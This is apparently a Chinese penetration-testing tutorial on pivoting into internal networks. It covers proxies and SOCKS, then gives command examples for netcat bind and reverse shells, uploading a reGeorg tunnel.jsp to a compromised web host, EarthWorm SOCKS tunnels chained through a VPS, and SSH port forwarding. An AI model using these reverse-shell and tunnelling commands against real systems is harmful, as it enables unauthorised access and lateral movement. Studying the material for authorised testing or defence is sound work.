1 前言
談到內網轉發,在我們日常的***測試過程中經常會用到端口轉發,可以利用代理腳本將內網的流量代理到本地進行訪問,這樣極大的方便了我們對內網進行橫向***。
那爲什麼不直接通過登陸服務器來對內網中其他機器進行***,而是通過內網轉發呢?意義何在呢?
因爲.........
大部分時候拿到權限不夠,無法直接登錄。
而且如果在內網服務器中進行操作,我們需要上傳工具進行很多操作,如果服務器缺少對應的環境變量或者組件,會導致***受阻。
而且直接遠程登錄會留下比較明顯的痕跡。
因此內網轉發是我們最好的選擇,在本地進行操作是最方便的,也比較安全~~~
說這麼多,不知道大家有沒有聽過"代理"這個詞,這個東西和我們要說的內網轉發有很大的關係~
2 正向和反向代理
那接下來咱們嘮一下什麼是正向/反向代理?
正向代理中,Proxy和Client同屬一個區域,對Server是透明的;反向代理中,Proxy和Server同屬一個區域,對Client透明。但其實這不管是正向還是反向代理都有一個共同的特點,都是代替收發請求和響應,不過從結構上來看正好左右互換了下,所以把前者那種代理方式叫做正向代理,後面那個玩意叫做反向代理。
2.1正向代理(Forward Proxy)
Lhost--->proxy--->Rhost
Lhost爲了訪問到Rhost,向proxy發送了一個請求並且指定目標是Rhost,然後proxy向Rhost轉交請求並將獲得的內容返回給Lhost,簡單來說正向代理就是proxy代替了我們去訪問Rhost。
2.2反向代理(Reverse Proxy)
Lhost<--->proxy<--->firewall<--->Rhost
和正向代理相反(廢話),一般情況下,防火牆肯定不能讓外網機器隨便訪問地訪問內網機器,所以就提出反向代理。
Lhost只向proxy發送普通的請求,具體讓他轉到哪裏,proxy自己判斷,然後將返回的數據遞交回來,這樣的好處就是在某些防火牆只允許proxy數據進出的時候可以有效的進行穿透。
簡單區分
正向代理的是客戶端,反向代理的是服務端,可以理解爲正向代理是就比如年少時期喜歡那個Ta,當時很羞澀需要我自己(Lhost)寫一份信(proxy)去告訴Ta,反向代理就是喜歡的那個Ta(Rhost)知道並且主動(proxy)過來告訴自己(Lhost)。
有人要問了,代理本質又是基於什麼"何方神聖"呢?
那就是Socks協議~~
3 Socks協議
什麼是Socks協議??
中文意思:防火牆安全會話轉換協議,工作在OSI參考模型的第5層(會話層)。
它是一種可以穿透防火牆的協議,很多場景都會用到。比如Fan牆,你們懂得~~
因爲Socks介於傳輸層與表示層之間,使用TCP協議傳輸數據,因而不提供如傳遞ICMP信息之類的網絡層相關服務。
目前有兩個版本:SOCKS4和SOCKS5
SOCKS4支持TELNET、FTPHTTP等TCP協議;
SOCKS5支持TCP與UDP,並支持安全認證方案。
Ps: Socks不支持ICMP,不能使用ping命令。。記住哦~~~
當然啦,基於socks的轉發代理有很多的實用的小工具,少俠看圖吧~
常見的轉發工具及不同平臺的代理鏈工具:
這些工具能對我們內網橫向***產生什麼效果呢?接下來就開始進行一波模擬實戰吧~
4 Natcat
讓我們的神器出手--瑞士**,也叫NC,小巧強悍,主要作用就是用來反彈shell。
主機A:192.168.153.138
主機B:192.168.153.140
正向連接
在主機A執行
nc -l -p 5555 -t -e cmd.exe
-t是通過telnet模式執行 cmd.exe 程序,可以省略。
在主機B執行
nc -nvv 192.168.153.138 5555:
反向連接
在主機B監聽
nc -lp 5555
在主機A反彈
nc -t -e cmd 192.168.153.140 5555:
5 reGeorg+Proxychains
reGeorg是reDuh的升級版,主要是把內網服務器的端口通過http/https隧道轉發到本機。
1.上傳reGeorg的tunnel.jsp到web主機A。訪問鏈接,並轉發到本地端口。
主機B以python環境運行:
python reGeorgSocksProxy.py -p 1080 -u http://192.168.153.137/tunnel.jsp
使用設置proxychains的代理端口,進行訪問,一般配合nmap和metasploit進行後續內網***。
Ps:socks4版本協議不支持udp和icmp協議,所以使用nmap要加上-sT -Pn即使用tcp協議且不使用icmp協議。
6 Earthworm+Proxychains
EW 是一套便攜式的網絡穿透工具,具有SOCKSv5服務架設和端口轉發兩大核心功能,可在複雜網絡環境下完成網絡穿透。
該工具能夠以"正向"、"反向"、"多級級聯"等方式打通一條網絡隧道,直達網絡深處,用蚯蚓獨有的手段突破網絡限制,給防火牆鬆土。
支持 Linux、Windows、MacOS、Arm-Linux 均被包括其內,強烈推薦使用。
該工具借用了 ssocks 和 lcx.exe 的操作邏輯,並進行更多的功能強化。
目前工具提供六種鏈路狀態,可通過 -s 參數進行選定,分別爲:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服務的核心邏輯支持由 ssocksd 和 rssocks 提供,分別對應正向與反向socks代理。
其餘的 lcx 鏈路狀態用於打通測試主機同 socks 服務器之間的通路。
lcx 類別管道:
-
lcx_slave 該管道一側通過反彈方式連接代理請求方,另一側連接代理提供主機。
-
lcx_tran 該管道,通過監聽本地端口接收代理請求,並轉交給代理提供主機。
- lcx_listen 該管道,通過監聽本地端口接收數據,並將其轉交給目標網絡回連的代理提供主機。
通過組合lcx類別管道的特性,可以實現多層內網環境下的***測試。
6.1 正向SOCKS5服務器
當目標網絡邊界存在公網IP且可任意開監聽端口:
./ew_for_Win.exe -s ssocksd -l 8888
上述命令是在該機器(192.168.153.140)開啓一個8888的正向連接端口。
然後其它主機可通過設置代理爲192.168.153.140:8888添加這個代理,這裏使用的是proxychains。
6.2 反彈SOCKS5服務器
當目標網絡邊界不存在公網IP,通過反彈方式創建socks代理。
先在一臺具有公網 ip 的主機A上運行以下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是在我們公網VPS上添加一個轉接隧道,把1080端口收到的代理請求轉交給8888端口。
在目標主機B上啓動SOCKS5服務 並反彈到公網主機的8888端口:
ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888
本地主機(192.168.153.129)然後通過添加公網192.168.153.129:1080這個代理,來訪問內網機器(192.168.153.129)
當然如果本地主機如果是公網ip,就可以把在公網執行的步驟放在本地執行即可。
6.3 二級網絡環境(有公網IP)
假設我們獲得了右側A主機和B主機的控制權限,A主機配有2塊網卡,一塊10.129.72.168連通外網,一塊192.168.153.140只能連接內網B主機,無法訪問內網其它資源。B主機可以訪問內網資源,但無法訪問外網。
先上傳ew到B主機,利用ssocksd方式啓動8888端口的SOCKS代理,命令如下:
ew_for_Win.exe -s ssocksd -l 8888
然後在A主機執行:
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
含義是將1080端口收到的代理請求轉交給B主機(192.168.153.138)的8888端口。
然後MyPc就可以通過A的外網代理10.129.72.168:1080訪問B。
6.4 二級網絡環境(無公網IP)
假設我們獲得了右側A主機和B主機的控制權限,A主機(NAT)沒有公網IP,也無法訪問內網資源。B主機可以訪問內網資源,但無法訪問外網。
這次操作有四步:
1.在公網vps(45.xxx.xxx.72)添加轉接隧道,將10800端口收到的代理請求轉交給8888端口;
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2.B主機(192.168.153.138)主機正向開啓8888端口;
./ew_for_Win.exe -s ssocksd -l 9999
3.A主機利用lcx_slave方式,將公網VPS的888端口和B主機的999端口連接起來;
./ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f192.168.153.138 -g 9999
4.現在MyPC可通過訪問45.xxx.xxx.72:10800來使用192.168.153.138主機提供的socks5代理,代理成功,vps會有rssockscmd_socket OK!提示。
7 ssh隧道代理轉發
ssh有三個強大的端口轉發命令,分別是本地轉發、遠程轉發、動態轉發。
socks代理:
ssh -qTfnN -D port remotehost
參數詳解:
-C 允許壓縮數據\
-q 安靜模式\
-T不佔用 shell\
-f 後臺運行,並推薦加上 -n 參數\
-N不執行遠程命令\
-g允許遠端主機連接本地轉發的端口\
-n把 stdin 重定向到 /dev/null (防止從 stdin 讀取數據)\
-L port:host :hostport 正向代理
//將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口
-R port:host :hostport 反向代理
//將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口
-D port socks5代理
//指定一個本地機器 "動態" 應用程序端口轉發。
7.1 ssh本地轉發
遠程管理服務器上的mysql,mysql不能直接root用戶遠程登陸。這時候就可以通過本地轉發,通過ssh將服務器的3306端口轉發到本地1234端口實現以root用戶遠程登陸mysql。
ssh -CfNg -L <本機地址>:<本機端口>:<目標B地址>:<目標B端口>用戶名@跳板IP(A)
ssh -CfNg -L 1234:127.0.0.1:3306 [email protected]
7.2 ssh遠程轉發
內網的服務器,外網不能直接訪問,使用遠程轉發,將內網的服務器端口轉發到外網端口。這時候訪問外網的端口,就可以直接訪問到了內網的端口。
ssh -CfNg -R <本地端口>:<目標B地址>:<目標B端口> 用戶名@本地IP
ssh -CfNg -R 81:127.0.0.1:80 [email protected]
現在在192.168.153.142訪問127.0.0.1:81就是訪問內網的服務器的80端口。
7.3 ssh動態轉發
遠端服務器有限制隔離,本地主機無法直接訪問,需要將一臺可以訪問遠端服務器的主機作爲跳板,設置爲代理端,來代理訪問不能訪問的資源。
ssh -qTfnN -D <本地端口> 用戶名@跳板IP(A)
ssh -qTfnN -D 1080 [email protected]